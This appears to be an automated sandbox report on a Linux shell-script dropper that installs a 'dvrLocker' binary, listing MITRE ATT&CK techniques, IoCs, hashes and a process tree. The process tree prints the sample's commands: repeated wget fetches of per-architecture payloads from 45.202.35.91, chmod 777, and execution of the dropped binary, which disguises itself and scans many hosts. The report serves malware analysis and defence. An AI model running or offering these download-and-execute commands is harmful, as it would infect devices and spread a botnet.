082577cee4e185f4faebaa1f31c4739babf0569d4b3a0bd7e7453b4f5310a1fa

Analysis

max time kernel
97s
max time network
156s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
08/11/2024, 02:06

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General

Target
082577cee4e185f4faebaa1f31c4739babf0569d4b3a0bd7e7453b4f5310a1fa.sh
Size 917B
Sample241108-cjpsfasgpm
SHA256 082577cee4e185f4faebaa1f31c4739babf0569d4b3a0bd7e7453b4f5310a1fa
MD5 6d78fa485ed425a375d4ef0075d64a0f
SHA1 a5a557ec5b77b5e18d46881f1ec9db77cbdeaf27
SHA512 5447f298576c81fdde0e5faeec0abdd697483cf47446ca64923016b58112993ac92a38207f56db708f58eb5ad3ea41c67ff67e1d01bc7523b3e26e51a36bb378
MD5 SHA1 SHA512

Score

9^/10

defense_evasion discovery

Malware Config

Signatures

Contacts a large (103482) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 17 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
899	chmod
903	chmod
931	chmod
879	chmod
871	chmod
887	chmod
915	chmod
923	chmod
868	chmod
822	chmod
874	chmod
911	chmod
806	chmod
895	chmod
919	chmod
927	chmod
813	chmod

Executes dropped EXE 14 IoCs

ioc	pid	Process
/tmp/lib/dvrLocker	807	dvrLocker
/tmp/lib/dvrLocker	814	dvrLocker
/tmp/lib/dvrLocker	823	dvrLocker
/tmp/lib/dvrLocker	869	dvrLocker
/tmp/lib/dvrLocker	872	dvrLocker
/tmp/lib/dvrLocker	875	dvrLocker
/mnt/dvrLocker	880	dvrLocker
/mnt/dvrLocker	888	dvrLocker
/mnt/dvrLocker	892	dvrLocker
/mnt/dvrLocker	904	dvrLocker
/mnt/dvrLocker	908	dvrLocker
/mnt/dvrLocker	912	dvrLocker
/mnt/dvrLocker	924	dvrLocker
/mnt/dvrLocker	932	dvrLocker

Unexpected DNS network traffic destination 2 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	51.158.108.203
Destination IP	185.181.61.24

Enumerates active TCP sockets 1 TTPs 1 IoCs

Gets active TCP sockets from /proc virtual filesystem.

discovery

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/proc/net/tcp	dvrLocker

Enumerates running processes
Discovers information about currently running processes on the system

Changes its process name 2 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	/bin/busybox ntpd	814	dvrLocker
Changes the process name, possibly in an attempt to hide itself	[kswapd0]	823	dvrLocker

Reads system network configuration 1 TTPs 1 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/tcp	dvrLocker

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/913/status	dvrLocker
File opened for reading	/proc/712/fd	dvrLocker
File opened for reading	/proc/2/cmdline	dvrLocker
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/142/fd	dvrLocker
File opened for reading	/proc/405/fd	dvrLocker
File opened for reading	/proc/466/fd	dvrLocker
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/384/fd	dvrLocker
File opened for reading	/proc/870/status	dvrLocker
File opened for reading	/proc/871/status	dvrLocker
File opened for reading	/proc/875/status	dvrLocker
File opened for reading	/proc/899/status	dvrLocker
File opened for reading	/proc/915/status	dvrLocker
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/228/fd	dvrLocker
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/890/status	dvrLocker
File opened for reading	/proc/707/fd	dvrLocker
File opened for reading	/proc/882/status	dvrLocker
File opened for reading	/proc/931/status	dvrLocker
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/878/status	dvrLocker
File opened for reading	/proc/885/status	dvrLocker
File opened for reading	/proc/904/status	dvrLocker
File opened for reading	/proc/923/status	dvrLocker
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/863/status	dvrLocker
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/925/status	dvrLocker
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/869/status	dvrLocker
File opened for reading	/proc/884/status	dvrLocker
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/933/status	dvrLocker
File opened for reading	/proc/698/fd	dvrLocker
File opened for reading	/proc/877/status	dvrLocker
File opened for reading	/proc/912/status	dvrLocker
File opened for reading	/proc/929/status	dvrLocker
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/320/fd	dvrLocker
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/373/fd	dvrLocker
File opened for reading	/proc/473/fd	dvrLocker
File opened for reading	/proc/860/status	dvrLocker
File opened for reading	/proc/903/status	dvrLocker
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/888/status	dvrLocker
File opened for reading	/proc/889/status	dvrLocker
File opened for reading	/proc/891/status	dvrLocker
File opened for reading	/proc/896/status	dvrLocker
File opened for reading	/proc/930/status	dvrLocker
File opened for reading	/proc/510/fd	dvrLocker
File opened for reading	/proc/864/status	dvrLocker
File opened for reading	/proc/873/status	dvrLocker

System Network Configuration Discovery 1 TTPs 6 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
913	rm
810	wget
819	rm
882	wget
885	rm
910	wget

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/lib/dvrLocker	082577cee4e185f4faebaa1f31c4739babf0569d4b3a0bd7e7453b4f5310a1fa.sh

/tmp/082577cee4e185f4faebaa1f31c4739babf0569d4b3a0bd7e7453b4f5310a1fa.sh
/tmp/082577cee4e185f4faebaa1f31c4739babf0569d4b3a0bd7e7453b4f5310a1fa.sh
1⤵
- Writes file to tmp directory
PID:705
- /bin/ls
  ls -l /proc/1/exe
  2⤵
  PID:708
- /bin/ls
  ls -l /proc/10/exe
  2⤵
  PID:713
- /bin/ls
  ls -l /proc/103/exe
  2⤵
  PID:716
- /bin/ls
  ls -l /proc/11/exe
  2⤵
  - Reads runtime system information
  PID:719
- /bin/ls
  ls -l /proc/112/exe
  2⤵
  PID:722
- /bin/ls
  ls -l /proc/113/exe
  2⤵
  PID:726
- /bin/ls
  ls -l /proc/12/exe
  2⤵
  PID:730
- /bin/ls
  ls -l /proc/13/exe
  2⤵
  PID:732
- /bin/ls
  ls -l /proc/14/exe
  2⤵
  - Reads runtime system information
  PID:733
- /bin/ls
  ls -l /proc/142/exe
  2⤵
  PID:735
- /bin/ls
  ls -l /proc/148/exe
  2⤵
  - Reads runtime system information
  PID:737
- /bin/ls
  ls -l /proc/15/exe
  2⤵
  PID:739
- /bin/ls
  ls -l /proc/16/exe
  2⤵
  PID:741
- /bin/ls
  ls -l /proc/167/exe
  2⤵
  PID:743
- /bin/ls
  ls -l /proc/17/exe
  2⤵
  PID:744
- /bin/ls
  ls -l /proc/18/exe
  2⤵
  PID:746
- /bin/ls
  ls -l /proc/19/exe
  2⤵
  PID:747
- /bin/ls
  ls -l /proc/2/exe
  2⤵
  PID:748
- /bin/ls
  ls -l /proc/20/exe
  2⤵
  PID:750
- /bin/ls
  ls -l /proc/21/exe
  2⤵
  - Reads runtime system information
  PID:751
- /bin/ls
  ls -l /proc/216/exe
  2⤵
  - Reads runtime system information
  PID:752
- /bin/ls
  ls -l /proc/22/exe
  2⤵
  - Reads runtime system information
  PID:753
- /bin/ls
  ls -l /proc/228/exe
  2⤵
  PID:754
- /bin/ls
  ls -l /proc/23/exe
  2⤵
  - Reads runtime system information
  PID:755
- /bin/ls
  ls -l /proc/24/exe
  2⤵
  PID:756
- /bin/ls
  ls -l /proc/3/exe
  2⤵
  PID:757
- /bin/ls
  ls -l /proc/316/exe
  2⤵
  PID:758
- /bin/ls
  ls -l /proc/319/exe
  2⤵
  - Reads runtime system information
  PID:759
- /bin/ls
  ls -l /proc/320/exe
  2⤵
  PID:760
- /bin/ls
  ls -l /proc/321/exe
  2⤵
  PID:761
- /bin/ls
  ls -l /proc/347/exe
  2⤵
  PID:762
- /bin/ls
  ls -l /proc/36/exe
  2⤵
  PID:763
- /bin/ls
  ls -l /proc/37/exe
  2⤵
  - Reads runtime system information
  PID:764
- /bin/ls
  ls -l /proc/371/exe
  2⤵
  PID:765
- /bin/ls
  ls -l /proc/373/exe
  2⤵
  PID:766
- /bin/ls
  ls -l /proc/384/exe
  2⤵
  PID:767
- /bin/ls
  ls -l /proc/4/exe
  2⤵
  - Reads runtime system information
  PID:768
- /bin/ls
  ls -l /proc/405/exe
  2⤵
  PID:769
- /bin/ls
  ls -l /proc/466/exe
  2⤵
  PID:770
- /bin/ls
  ls -l /proc/473/exe
  2⤵
  PID:771
- /bin/ls
  ls -l /proc/5/exe
  2⤵
  PID:772
- /bin/ls
  ls -l /proc/509/exe
  2⤵
  - Reads runtime system information
  PID:773
- /bin/ls
  ls -l /proc/510/exe
  2⤵
  - Reads runtime system information
  PID:774
- /bin/ls
  ls -l /proc/6/exe
  2⤵
  PID:775
- /bin/ls
  ls -l /proc/68/exe
  2⤵
  - Reads runtime system information
  PID:776
- /bin/ls
  ls -l /proc/682/exe
  2⤵
  - Reads runtime system information
  PID:777
- /bin/ls
  ls -l /proc/697/exe
  2⤵
  PID:778
- /bin/ls
  ls -l /proc/698/exe
  2⤵
  PID:779
- /bin/ls
  ls -l /proc/7/exe
  2⤵
  PID:780
- /bin/ls
  ls -l /proc/70/exe
  2⤵
  PID:781
- /bin/ls
  ls -l /proc/700/exe
  2⤵
  PID:782
- /bin/ls
  ls -l /proc/702/exe
  2⤵
  PID:783
- /bin/ls
  ls -l /proc/703/exe
  2⤵
  PID:784
- /bin/ls
  ls -l /proc/704/exe
  2⤵
  - Reads runtime system information
  PID:785
- /bin/ls
  ls -l /proc/705/exe
  2⤵
  - Reads runtime system information
  PID:786
- /bin/ls
  ls -l /proc/706/exe
  2⤵
  - Reads runtime system information
  PID:787
- /bin/ls
  ls -l /proc/71/exe
  2⤵
  PID:788
- /bin/ls
  ls -l /proc/73/exe
  2⤵
  - Reads runtime system information
  PID:789
- /bin/ls
  ls -l /proc/74/exe
  2⤵
  - Reads runtime system information
  PID:790
- /bin/ls
  ls -l /proc/75/exe
  2⤵
  PID:791
- /bin/ls
  ls -l /proc/76/exe
  2⤵
  PID:792
- /bin/ls
  ls -l /proc/77/exe
  2⤵
  PID:793
- /bin/ls
  ls -l /proc/78/exe
  2⤵
  PID:794
- /bin/ls
  ls -l /proc/8/exe
  2⤵
  PID:795
- /bin/ls
  ls -l /proc/81/exe
  2⤵
  PID:796
- /bin/ls
  ls -l /proc/83/exe
  2⤵
  - Reads runtime system information
  PID:797
- /bin/ls
  ls -l /proc/9/exe
  2⤵
  PID:798
- /bin/rm
  rm -rf /tmp/lib/
  2⤵
  PID:799
- /bin/rm
  rm -rf /tmp/lib/dvrLocker
  2⤵
  PID:800
- /bin/mkdir
  mkdir /tmp/lib/
  2⤵
  - Reads runtime system information
  PID:801
- /usr/bin/wget
  wget http://45.202.35.91/tmpsl -O -
  2⤵
  PID:802
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:806
- /tmp/lib/dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:807
- /bin/rm
  rm -rf tmpsl
  2⤵
  PID:809
- /usr/bin/wget
  wget http://45.202.35.91/tmips -O -
  2⤵
  - System Network Configuration Discovery
  PID:810
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:813
- /tmp/lib/dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  - Changes its process name
  PID:814
- /bin/rm
  rm -rf tmips
  2⤵
  - System Network Configuration Discovery
  PID:819
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:822
- /tmp/lib/dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:823
- /bin/rm
  rm -rf tarm
  2⤵
  PID:858
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:868
- /tmp/lib/dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:869
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:871
- /tmp/lib/dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:872
- /bin/rm
  rm -rf tarm7
  2⤵
  PID:873
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:874
- /tmp/lib/dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:875
- /bin/rm
  rm -rf x86
  2⤵
  PID:876
- /bin/rm
  rm -rf /mnt/dvrLocker
  2⤵
  PID:877
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:879
- /mnt/dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:880
- /usr/bin/wget
  wget http://45.202.35.91/tmips -O -
  2⤵
  - System Network Configuration Discovery
  PID:882
- /bin/rm
  rm -rf tmips
  2⤵
  - System Network Configuration Discovery
  PID:885
- /usr/bin/wget
  wget http://45.202.35.91/tarm -O -
  2⤵
  PID:886
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:887
- /mnt/dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:888
- /bin/rm
  rm -rf tarm
  2⤵
  PID:889
- /usr/bin/wget
  wget http://45.202.35.91/tarm5 -O -
  2⤵
  PID:890
- /mnt/dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:892
- /bin/rm
  rm -rf tarm5
  2⤵
  PID:893
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:895
- /bin/rm
  rm -rf tppc
  2⤵
  PID:897
- /usr/bin/wget
  wget http://45.202.35.91/tarm7 -O -
  2⤵
  PID:898
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:899
- /bin/rm
  rm -rf tarm7
  2⤵
  PID:901
- /usr/bin/wget
  wget http://45.202.35.91/x86 -O -
  2⤵
  PID:902
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:903
- /mnt/dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:904
- /bin/rm
  rm -rf x86
  2⤵
  PID:905
- /usr/bin/wget
  wget http://45.202.35.91/tmpsl -O -
  2⤵
  PID:906
- /mnt/dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:908
- /bin/rm
  rm -rf tmpsl
  2⤵
  PID:909
- /usr/bin/wget
  wget http://45.202.35.91/tmips -O -
  2⤵
  - System Network Configuration Discovery
  PID:910
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:911
- /mnt/dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:912
- /bin/rm
  rm -rf tmips
  2⤵
  - System Network Configuration Discovery
  PID:913
- /usr/bin/wget
  wget http://45.202.35.91/tarm -O -
  2⤵
  PID:914
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:915
- /usr/bin/wget
  wget http://45.202.35.91/tarm5 -O -
  2⤵
  PID:918
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:919
- /usr/bin/wget
  wget http://45.202.35.91/tppc -O -
  2⤵
  PID:922
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:923
- /mnt/dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:924
- /bin/rm
  rm -rf tppc
  2⤵
  PID:925
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:927
- /usr/bin/wget
  wget http://45.202.35.91/x86 -O -
  2⤵
  PID:930
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:931
- /mnt/dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:932
- /bin/rm
  rm -rf x86
  2⤵
  PID:933

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

dvrLocker

Path /tmp/lib/dvrLocker
Size 95KB
SHA256 32a11abaae3a98a5c04532ebfc258d2c871eb9e68dbcaa11d6242db21922e9ba
MD5 6f5f89fdfd11c73af00c8c7a8cd8eaca
SHA1 0170ae81b162afa0920b0dc030084775883103ca
SHA512 f04f64a628bd5c7967525bd30f7e6290b004673d100d4387b1c0fbe29460b4f3a28e05e296fef3c8a02115f8056ed1901699ffd39ebedbe04ff06290eb1bfd3e
SSDEEP 1536:f5JfA7SmiUE1I0wF/vbOvD0uZjDlY9zSw6ZFmugXmYKd:fbfAOmLEGlAv69zj6gP+
MD5 SHA1 SHA512 SSDEEP

Submit Download

dvrLocker

Path /tmp/lib/dvrLocker
Size 91KB
SHA256 8e35701eb32bc4e7c3eb02c4d14a8ab6c0dc697e8fa8a76c951a6ab06c0cd590
MD5 fcb05f3f6109f679a9f6c1d26a131dae
SHA1 bd3041fce4779c707139b39f32b8f49d1e978793
SHA512 0f2928b29c079805775bdcbabc39d5217a2a827565f8c3ba6fa55cd41cf4a9f5cc14eeda6f13c2678439eb7cdf9353e778af251ba4ba0c803d88e8ca33c47d9c
SSDEEP 1536:Y80/2mG4Cfj+L1PckyUjp25m65mQWmrv9PMXH+QT/csLxCefC77iLSQ:W68L1PfjpuPMu6/cexseLSQ
MD5 SHA1 SHA512 SSDEEP

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MITRE ATT&CK Enterprise v15

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